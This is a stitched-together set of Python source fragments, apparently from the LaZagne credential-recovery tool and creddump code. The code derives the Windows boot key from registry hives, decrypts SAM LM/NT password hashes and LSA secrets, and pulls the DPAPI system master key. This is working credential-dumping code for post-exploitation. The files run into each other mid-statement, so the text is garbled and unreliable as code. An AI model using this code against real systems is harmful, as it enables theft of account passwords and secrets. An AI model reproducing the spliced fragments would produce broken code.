82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254 ] # Permutation matrix for boot key p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7] # Constants for SAM decrypt algorithm aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" anum = b"0123456789012345678901234567890123456789\0" antpassword = b"NTPASSWORD\0" almpassword = b"LMPASSWORD\0" empty_lm = codecs.decode('aad3b435b51404eeaad3b435b51404ee', 'hex') empty_nt = codecs.decode('31d6cfe0d16ae931b73c59d7e0c089c0', 'hex') AES_BLOCK_SIZE = 16 def str_to_key(s): key = [] key.append(char_to_int(s[0]) >> 1) key.append(((char_to_int(s[0]) & 0x01) << 6) | (char_to_int(s[1]) >> 2)) key.append(((char_to_int(s[1]) & 0x03) << 5) | (char_to_int(s[2]) >> 3)) key.append(((char_to_int(s[2]) & 0x07) << 4) | (char_to_int(s[3]) >> 4)) key.append(((char_to_int(s[3]) & 0x0F) << 3) | (char_to_int(s[4]) >> 5)) key.append(((char_to_int(s[4]) & 0x1F) << 2) | (char_to_int(s[5]) >> 6)) key.append(((char_to_int(s[5]) & 0x3F) << 1) | (char_to_int(s[6]) >> 7)) key.append(char_to_int(s[6]) & 0x7F) for i in range(8): key[i] = (key[i] << 1) key[i] = odd_parity[key[i]] return b"".join(chr_or_byte(k) for k in key) def sid_to_key(sid): s1 = b"" s1 += chr_or_byte(sid & 0xFF) s1 += chr_or_byte((sid >> 8) & 0xFF) s1 += chr_or_byte((sid >> 16) & 0xFF) s1 += chr_or_byte((sid >> 24) & 0xFF) s1 += int_or_bytes(s1[0]) s1 += int_or_bytes(s1[1]) s1 += int_or_bytes(s1[2]) s2 = int_or_bytes(s1[3]) + int_or_bytes(s1[0]) + int_or_bytes(s1[1]) + int_or_bytes(s1[2]) s2 += int_or_bytes(s2[0]) + int_or_bytes(s2[1]) + int_or_bytes(s2[2]) return str_to_key(s1), str_to_key(s2) def find_control_set(sysaddr): root = get_root(sysaddr) if not root: return 1 csselect = open_key(root, [b"Select"]) if not csselect: return 1 for v in values(csselect): if v.Name == b"Current": return v.Data.value def get_bootkey(sysaddr): cs = find_control_set(sysaddr) lsa_base = [b"ControlSet%03d" % cs, b"Control", b"Lsa"] lsa_keys = [b"JD", b"Skew1", b"GBG", b"Data"] root = get_root(sysaddr) if not root: return None lsa = open_key(root, lsa_base) if not lsa: return None bootkey = b"" for lk in lsa_keys: key = open_key(lsa, [lk]) class_data = sysaddr.read(key.Class.value, key.ClassLength.value) bootkey += codecs.decode(class_data.decode('utf-16-le'), 'hex') bootkey_scrambled = b"" for i in range(len(bootkey)): bootkey_scrambled += bootkey[p[i]:p[i]+1] return bootkey_scrambled def get_hbootkey(samaddr, bootkey): sam_account_path = [b"SAM", b"Domains", b"Account"] root = get_root(samaddr) if not root: return None sam_account_key = open_key(root, sam_account_path) if not sam_account_key: return None F = None for v in values(sam_account_key): if v.Name == b'F': F = samaddr.read(v.Data.value, v.DataLength.value) if not F: return None revision = ord(F[0x00:0x01]) if revision == 2: md5 = hashlib.md5(F[0x70:0x80] + aqwerty + bootkey + anum) rc4_key = md5.digest() rc4 = RC4(rc4_key) hbootkey = rc4.encrypt(F[0x80:0xA0]) return hbootkey elif revision == 3: iv = F[0x78:0x88] encryptedHBootKey = F[0x88:0xA8] cipher = AESModeOfOperationCBC(bootkey, iv=iv) hbootkey = b"".join([cipher.decrypt(encryptedHBootKey[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encryptedHBootKey), AES_BLOCK_SIZE)]) return hbootkey[:16] def get_user_keys(samaddr): user_key_path = [b"SAM", b"Domains", b"Account", b"Users"] root = get_root(samaddr) if not root: return [] user_key = open_key(root, user_key_path) if not user_key: return [] return [k for k in subkeys(user_key) if k.Name != b"Names"] def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): if enc_hash == "": return "" (des_k1, des_k2) = sid_to_key(rid) d1 = des(des_k1, ECB) d2 = des(des_k2, ECB) md5 = hashlib.md5() md5.update(hbootkey[:0x10] + pack(". """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ import hashlib import os from .rawreg import * from ..addrspace import HiveFileAddressSpace from .hashdump import get_bootkey, str_to_key from lazagne.config.crypto.rc4 import RC4 from lazagne.config.crypto.pyDes import des, ECB from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC def get_lsa_key(secaddr, bootkey, vista): root = get_root(secaddr) if not root: return None if vista: enc_reg_key = open_key(root, [b"Policy", b"PolEKList"]) else: enc_reg_key = open_key(root, [b"Policy", b"PolSecretEncryptionKey"]) if not enc_reg_key: return None enc_reg_value = enc_reg_key.ValueList.List[0] if not enc_reg_value: return None obf_lsa_key = secaddr.read(enc_reg_value.Data.value, enc_reg_value.DataLength.value) if not obf_lsa_key: return None if not vista: md5 = hashlib.md5() md5.update(bootkey) for i in range(1000): md5.update(obf_lsa_key[60:76]) rc4key = md5.digest() rc4 = RC4(rc4key) lsa_key = rc4.encrypt(obf_lsa_key[12:60]) lsa_key = lsa_key[0x10:0x20] else: lsa_key = decrypt_aes(obf_lsa_key, bootkey) lsa_key = lsa_key[68:100] return lsa_key def decrypt_secret(secret, key): """Python implementation of SystemFunction005. Decrypts a block of data with DES using given key. Note that key can be longer than 7 bytes.""" decrypted_data = b'' j = 0 # key index for i in range(0, len(secret), 8): enc_block = secret[i:i + 8] block_key = key[j:j + 7] des_key = str_to_key(block_key) crypter = des(des_key, ECB) try: decrypted_data += crypter.decrypt(enc_block) except Exception: continue j += 7 if len(key[j:j + 7]) < 7: j = len(key[j:j + 7]) (dec_data_len,) = unpack(". """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ from ..newobj import Obj, Pointer from struct import unpack ROOT_INDEX = 0x20 LH_SIG = unpack("= 6.0: is_vista_or_higher = True # Get LSA Secrets secrets = get_file_secrets(constant.hives['system'], constant.hives['security'], is_vista_or_higher) if secrets: # Clear DPAPI master key clear = secrets[b'DPAPI_SYSTEM'] size = struct.unpack_from(" '3.5' and sys_platform == 'win32' pycryptodome